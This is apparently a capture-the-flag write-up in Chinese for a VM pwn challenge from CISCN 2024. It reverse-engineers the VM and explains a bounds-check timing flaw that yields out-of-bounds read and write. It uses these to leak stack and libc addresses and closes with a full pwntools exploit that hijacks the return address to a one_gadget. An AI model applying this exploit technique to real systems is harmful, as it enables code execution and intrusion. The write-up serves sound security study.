CISCN2024一道VM PWN题

有师傅让我看一下最近国赛的vm题,总的来说还是挺有意思的,在这里记录一下。

分析

笔者一直都是逆向苦手(摊手),面对这样体量的vm还是花费了一些时间。

这里为了节约时间直接基于逆出来的结果梳理一遍程序流程。

在ida里简单修了几个结构体

00000000 vm_alu struc ; (sizeof=0x58, mappedto_6)
00000000 opcode_status dq ?
00000008 opcode_0 dq ?
00000010 opcode_1 dq ?
00000018 opcode_2 dd ?
0000001C ggap dd ?
00000020 opcode_3 dq ?
00000028 gap dd ?
0000002C mem_status dd ?
00000030 mem dd 10 dup(?)
00000058 vm_alu ends
00000058
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vm_id struc ; (sizeof=0x28, mappedto_8)
00000000 opcode_status dq ?
00000008 opcode_0 dq ?
00000010 opcode_1 dq ?
00000018 opcode_2 dq ?
00000020 opcode_3 dq ?
00000028 vm_id ends
00000028
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vm_mem struc ; (sizeof=0x28, mappedto_7)
00000000 need_mem_op dd ?
00000004 mem_op_num dd ?
00000008 dest1 dq ?
00000010 source1 dq ?                            ; seg
00000018 dest2 dq ?
00000020 source2 dq ?
00000028 vm_mem ends
00000028
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vm struc ; (sizeof=0x78, mappedto_5)
00000000 regs dq 4 dup(?)
00000020 sp_ dq ?
00000028 buf_idx dq ?
00000030 buf dq ?
00000038 virtual_space dq ?                      ; offset
00000040 virtual_stack dq ?
00000048 buf_len dq ?
00000050 space_size dq ?
00000058 stack_size dq ?
00000060 vm_id_ptr dq ?                          ; offset
00000068 vm_alu_ptr dq ?                         ; offset
00000070 vm_mem_ptr dq ?                         ; offset
00000078 vm ends

程序在init_array中调用了vm的构造函数

void __fastcall vm::vm(vm *this)
{
  vm_id *v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 i; // rdx

  this->buf = (__int64)mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
  this->virtual_space = (void *)(this->buf + 0x2000);
  this->virtual_stack = (__int64)this->virtual_space + 0x3000;
  this->space_size = 0x3000LL;
  this->buf_len = 0x2000LL;
  this->stack_size = 0x1000LL;
  v1 = (vm_id *)operator new(0x28uLL);
  LODWORD(v1->opcode_status) = 0;
  v1->opcode_0 = 0LL;
  v1->opcode_1 = 0LL;
  v1->opcode_2 = 0LL;
  v1->opcode_3 = 0LL;
  this->vm_id_ptr = v1;
  v2 = operator new(0x50uLL);
  *(_OWORD *)v2 = 0LL;
  *(_OWORD *)(v2 + 16) = 0LL;
  *(_OWORD *)(v2 + 32) = 0LL;
  *(_OWORD *)(v2 + 48) = 0LL;
  *(_OWORD *)(v2 + 64) = 0LL;
  this->vm_alu_ptr = (vm_alu *)v2;
  v3 = operator new(0x28uLL);
  *(_DWORD *)v3 = 0;
  *(_DWORD *)(v3 + 4) = 0;
  for ( i = 0LL; ; ++i )
  {
    *(_QWORD *)(v3 + 16 * i + 8) = 0LL;
    *(_QWORD *)(v3 + 16 * i + 16) = 0LL;
    if ( i == 1 )
      break;
  }
  this->vm_mem_ptr = (vm_mem *)v3;
}

可以看到buf和后面vm维护的数组空间和栈空间都在一块mmap出来的内存上。

读入buf之后进入主流程

__int64 __fastcall vm::run(vm_alu **my_vm)
{
  __int64 v1; // rax
  int v3; // [rsp+1Ch] [rbp-4h]

  while ( 1 )
  {
    vm_alu::set_input(my_vm[13], (vm *)my_vm);  // alu的解析滞后buf的解析1轮
    vm_mem::set_input((vm_mem *)my_vm[14], (vm *)my_vm);// mem的解析滞后buf的解析2轮
    my_vm[5] = (vm_alu *)((char *)my_vm[5] + (int)vm_id::run((vm_id *)my_vm[12], (vm *)my_vm));
    v3 = vm_alu::run(my_vm[13], (vm *)my_vm);
    vm_mem::run((vm_mem *)my_vm[14], (vm *)my_vm);
    if ( !v3 )
      break;
    if ( v3 == -1 )
    {
      v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");
      std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
  }
  return 0LL;
}

vm_id::run主要是解析buf上的数据并将解析后的结果存到vm_id结构上,这个过程顺带也对操作的合法性进行了检测。

vm_alu::run是基于vm_id结构对操作进行进一步解析,并布置好vm_alu结构。

vm_mem::run是实现之前涉及到赋值的内存操作(对寄存器,数组空间和栈进行最终赋值)。

opcode之后的1个byte会用来识别操作类型,该字节的0-1bits用来指示被操作数的类型:

  • 2 => vm寄存器
  • 3 => vm维护的数组

该字节的2-3bits用来识别与被操作数交互的数的类型:

  • 1 => 64bits立即数
  • 2 => vm寄存器
  • 3 => vm维护的数组

vm_id::run中检查了opcode的合法性

对于操作类型为寄存器的场合,会有这样的检查:

...
v4 = opcode_next1_ & 3;
  if ( v4 == 2 )
  {
    opcode_len = 3;
    v5 = v20;
    v20 = (__int64 *)((char *)v20 + 1);
    v12 = *(_BYTE *)v5;
    if ( vm_id::check_regs(this, *(char *)v5, my_vm) )
    {
      this->opcode_0 = opcode_now;
      this->opcode_2 = v12;
    }
...
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a2 <= 3;
}

对于操作数类型为数组的场合,也有对应的检查:

if ( this->opcode_0 != -1 )
    {
      v7 = (opcode_next1_ >> 2) & 3;
      if ( v7 == 3 )
      {
        ++opcode_len;
        opcode_next2_ = *(_BYTE *)v20;
        if ( vm_id::check_addr(this, my_vm->regs[*(char *)v20], my_vm) )
          this->opcode_3 = opcode_next2_;
        else
          this->opcode_0 = -1LL;
      }   
 ...
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a3->space_size - 8 >= a2;
}

对于opcode为9和10,对应栈的push和pop操作时,有栈指针的对齐和越界检查

if ( (my_vm->sp_ & 7) != 0 )
  this->opcode_0 = -1LL;
if ( opcode_now == 9 )
{
  if ( my_vm->sp_ >= (unsigned __int64)my_vm->stack_size || my_vm->sp_ <= 7uLL )
    this->opcode_0 = -1LL;
}
else if ( (unsigned __int64)(my_vm->stack_size - 8) < my_vm->sp_ )
{
  this->opcode_0 = -1LL;
}

vm_alu::run中被操作数和与被操作数交互的数的选取实现

  if ( !LODWORD(this->opcode_status) )
    return 1LL;
  if ( this->opcode_0 && this->opcode_0 <= 8uLL )
  {
    v3 = ((unsigned __int64)this->opcode_1 >> 2) & 3;
    if ( v3 == 3 )                              // 与被操作数交互的值从virtual_space拿
    {
      this->opcode_3 = *(_QWORD *)((char *)a2->virtual_space + a2->regs[this->opcode_3]);
    }
    else if ( v3 != 1 )
    {
      if ( v3 != 2 )                            // 与被操作数交互的值从寄存器拿
        return 0xFFFFFFFFLL;
      this->opcode_3 = a2->regs[this->opcode_3];// opcode_3 = vm[opcode_3]
    }
    v4 = this->opcode_1 & 3;
    if ( v4 == 2 )                              // 选被操作数为某个寄存器
    {
      this->mem_status = 1;
      this->mem[0] = (__int64)&a2->regs[*(_QWORD *)&this->opcode_2];
      *(_QWORD *)&this->opcode_2 = a2->regs[*(_QWORD *)&this->opcode_2];
    }
    else
    {
      if ( v4 != 3 )
        return 0xFFFFFFFFLL;
      if ( (this->opcode_1 & 0xC) == 0xC )
        return 0xFFFFFFFFLL;
      this->mem_status = 1;                     // 选择被操作数为virtual_space[x]
      this->mem[0] = (__int64)a2->virtual_space + a2->regs[*(_QWORD *)&this->opcode_2];
      *(_QWORD *)&this->opcode_2 = *(_QWORD *)((char *)a2->virtual_space + a2->regs[*(_QWORD *)&this->opcode_2]);
    }

二元运算操作的实现

    switch ( this->opcode_0 )
    {
      case 1LL:
        this->mem[1] = this->opcode_3 + *(_QWORD *)&this->opcode_2;
        break;
      case 2LL:
        this->mem[1] = *(_QWORD *)&this->opcode_2 - this->opcode_3;
        break;
      case 3LL:
        this->mem[1] = *(_QWORD *)&this->opcode_2 << this->opcode_3;
        break;
      case 4LL:
        this->mem[1] = *(_QWORD *)&this->opcode_2 >> this->opcode_3;
        break;
      case 5LL:
        this->mem[1] = this->opcode_3;
        break;
      case 6LL:
        this->mem[1] = this->opcode_3 & *(_QWORD *)&this->opcode_2;
        break;
      case 7LL:
        this->mem[1] = this->opcode_3 | *(_QWORD *)&this->opcode_2;
        break;
      case 8LL:
        this->mem[1] = this->opcode_3 ^ *(_QWORD *)&this->opcode_2;
        break;
      default:
        goto LABEL_38;
    }

push和pop的实现

  if ( opcode_0 == 10 )                         // pop
  {
    this->mem_status = 2;
    this->mem[0] = (__int64)&a2->regs[*(_QWORD *)&this->opcode_2];
    this->mem[1] = *(_QWORD *)(a2->virtual_stack + a2->sp_);
    this->mem[2] = (__int64)&a2->sp_;
    this->mem[3] = a2->sp_ + 8;
    goto LABEL_38;
  }
  if ( !opcode_0 )
  {
    this->gap = 0;
    return 0LL;
  }
  if ( opcode_0 != 9 )
    return 0xFFFFFFFFLL;
  this->mem_status = 2;                         // push
  this->mem[0] = a2->virtual_stack + a2->sp_ - 8;
  this->mem[1] = a2->regs[*(_QWORD *)&this->opcode_2];
  this->mem[2] = (__int64)&a2->sp_;
  this->mem[3] = a2->sp_ - 8;
LABEL_38:
  this->gap = 1;

再结合vm_mem::set_input和vm_mem::run可以分析出vm对寄存器,数组,栈的赋值逻辑

vm_mem *__fastcall vm_mem::set_input(vm_mem *this, vm *a2)
{
  vm_alu *vm_alu_ptr; // rdx
  vm_mem *result; // rax
  __int64 v4; // rbx
  __int64 v5; // rbx

  vm_alu_ptr = a2->vm_alu_ptr;
  result = this;
  v4 = vm_alu_ptr->mem[0];
  *(_QWORD *)&this->need_mem_op = *(_QWORD *)&vm_alu_ptr->gap;
  this->dest1 = v4;
  v5 = vm_alu_ptr->mem[2];
  this->source1 = vm_alu_ptr->mem[1];
  this->dest2 = v5;
  this->source2 = vm_alu_ptr->mem[3];
  return result;
}

以mem[0]和mem[1]为一对,mem[2]和mem[3]为一对,在vm_mem::run中进行最多进行两对赋值。

__int64 __fastcall vm_mem::run(vm_mem *ptr_s, vm *a2)
{
  __int64 s; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  s = (unsigned int)ptr_s->need_mem_op;
  if ( (_DWORD)s )
  {
    for ( i = 0; ; ++i )
    {
      s = (unsigned int)ptr_s->mem_op_num;
      if ( i >= (int)s )
        break;
      **((_QWORD **)&ptr_s->dest1 + 2 * i) = *(&ptr_s->source1 + 2 * i);
    }
  }
  return s;
}

不难发现,由于vm::run函数的实现结构,alu的解析会滞后buf的解析1轮,mem的解析会滞后buf的解析2轮。

而这个特性也是这道题的问题所在。

利用

在vm_id::run中对opcode的合法性检查对于寄存器的边界判断是没问题的,但对于栈的操作和数组偏移的检查,缺乏及时性。

以对数组偏移的检查为例,这题的数组操作是以某个寄存器的值作为数组的偏移量,而检查的时候也是直接查看对应寄存器此时的值是否有超过0x3000u-8u。但如果我们在最近2次循环前才修改掉这个寄存器的话,在这一次判断的时候还没有被vm_mem::run更新,就会直接绕过检查,且在这一次的vm_mem::run中那个寄存器会被更新,这样下一次vm_alu::run的时候就会以这个没被检查的寄存器值作为偏移来进行操作。

基于这个时间差的特性,我们可以完成以mmap的这块内存为起点的越界读写操作。

不过由于这两块mmap申请的匿名空间没有挨在一起,以及libstdc++, libm, libgcc_s等库的加载顺序是随机的,这就造成了我们越界读写时需要进行一定的爆破。在调试时我们可以临时关闭系统的aslr。

    0x7ffff7e5f000     0x7ffff7e63000 rw-p     4000 0      [anon_7ffff7e5f]
    0x7ffff7ea9000     0x7ffff7eb4000 rw-p     b000 0      [anon_7ffff7ea9]

这里我们通过越界到__environ和main_arena分别得到了栈地址和libc地址。

pwndbg> show_vm
00:0000│ rdx rsi 0x5555555581c0 (my_vm) —▸ 0x7fffffffe238 —▸ 0x7ffff7829d90 (__libc_start_call_main+128) ◂— mov    edi, eax
01:0008│         0x5555555581c8 (my_vm+8) ◂— 0xffffffffffb6fcf0
02:0010│         0x5555555581d0 (my_vm+16) —▸ 0x7ffff7a1ace0 (main_arena+96) —▸ 0x555555570360 ◂— 0x0
03:0018│         0x5555555581d8 (my_vm+24) ◂— 0x0
04:0020│         0x5555555581e0 (my_vm+32) ◂— 0x0
05:0028│         0x5555555581e8 (my_vm+40) ◂— 0x3c /* '<' */
06:0030│         0x5555555581f0 (my_vm+48) —▸ 0x7ffff7ea9000 ◂— 0xffffb77200011605
07:0038│         0x5555555581f8 (my_vm+56) —▸ 0x7ffff7eab000 ◂— 0x0
08:0040│         0x555555558200 (my_vm+64) —▸ 0x7ffff7eae000 ◂— 0x0
09:0048│         0x555555558208 (my_vm+72) ◂— 0x2000
0a:0050│         0x555555558210 (my_vm+80) ◂— 0x3000
0b:0058│         0x555555558218 (my_vm+88) ◂— 0x1000
0c:0060│         0x555555558220 (my_vm+96) —▸ 0x5555555702b0 ◂— 0x1
0d:0068│         0x555555558228 (my_vm+104) —▸ 0x5555555702e0 ◂— 0x1
0e:0070│         0x555555558230 (my_vm+112) —▸ 0x555555570340 ◂— 0x100000000

由于程序可以正常返回,也没开沙箱,直接劫持返回地址到ogg即可。

exp

from pwn import *
import sys
context.log_level = 'debug'

ip = sys.argv[1]
port = int(sys.argv[2])

path_to_elf = './pwn'

elf = ELF(path_to_elf)
libc = ELF('./libc.so.6')

if port != 0:
	p = remote(ip, port)
else:
	p = process(path_to_elf)
	
def g(arg=''):
	gdb.attach(p, arg)
	input()

sla = lambda x, y : p.sendlineafter(x, y)
sa  = lambda x, y : p.sendafter(x, y)
ru  = lambda x    : p.recvuntil(x)

def push_reg(reg_id):
	return p8(9) + p8(0x10|2) + p8(reg_id)

def pop_reg(reg_id):
	return p8(10) + p8(0x10|2) + p8(reg_id)

def set_reg_imm(reg_id, imm):
	return p8(5) + p8(0x10|1<<2|2) + p8(reg_id) + p64(imm)
	
def set_reg_addr(reg_id, addr_offset_reg):
	return p8(5) + p8(0x10|3<<2|2) + p8(reg_id) + p8(addr_offset_reg)

def set_reg_reg(reg_id1, reg_id2):
	return p8(5) + p8(0x10|2<<2|2) + p8(reg_id1) + p8(reg_id2)

def add_reg_imm(reg_id, imm):
	return p8(1) + p8(0x10|1<<2|2) + p8(reg_id) + p64(imm)

def sub_reg_imm(reg_id, imm):
	return p8(2) + p8(0x10|1<<2|2) + p8(reg_id) + p64(imm)

def sub_reg_reg(reg_id1, reg_id2):
	return p8(2) + p8(0x10|2<<2|2) + p8(reg_id1) + p8(reg_id2)

def set_addr_reg(addr_offset_reg, reg_id):
	return p8(5) + p8(0x10|2<<2|3) + p8(addr_offset_reg) + p8(reg_id)

libc_buf_offset = -0x6ab000+0xffffffffffffffff+1

ogg = [0x50a47, 0xebc81, 0xebc85, 0xebc88]

code = set_reg_imm(1, libc_buf_offset + libc.symbols['_environ'])  # environ
code += p8(11)
code += set_reg_addr(0, 1)
code += p8(11)*2
# code += set_reg_reg(2, 0)
code += add_reg_imm(0, -0x130+0xffffffffffffffff+1) # stack ptr to return address
code += set_reg_imm(1, 0) + p8(11)*2
code += set_reg_imm(1, libc_buf_offset + 0x21ac80 + 112) # from main_arena leak libc
code += p8(11)
code += set_reg_addr(2, 1)
code += p8(11)*2
code += sub_reg_imm(2, 0x21ace0) # r2 = libcbase
code += set_reg_imm(1, 0) + p8(11)*2
code += set_addr_reg(1, 0) + p8(11)*2 # addr[0] = stack_addr
code += set_reg_imm(1, 8) + p8(11)*2
code += set_addr_reg(1, 2) # addr[8] = libcbase
# 0x6d
code += p8(11)*2
code += sub_reg_reg(0, 2) + p8(11)*2
code += add_reg_imm(0, libc_buf_offset) + p8(11)*2
code += add_reg_imm(2, ogg[0]) + p8(11)*2
code += set_reg_reg(3, 0)
code += p8(11)
code += set_addr_reg(3, 2)
code += set_reg_imm(0, 0) + p8(11)*2
code += p8(11)*2
code += p8(0)

# g()

sla('code', code)

p.interactive()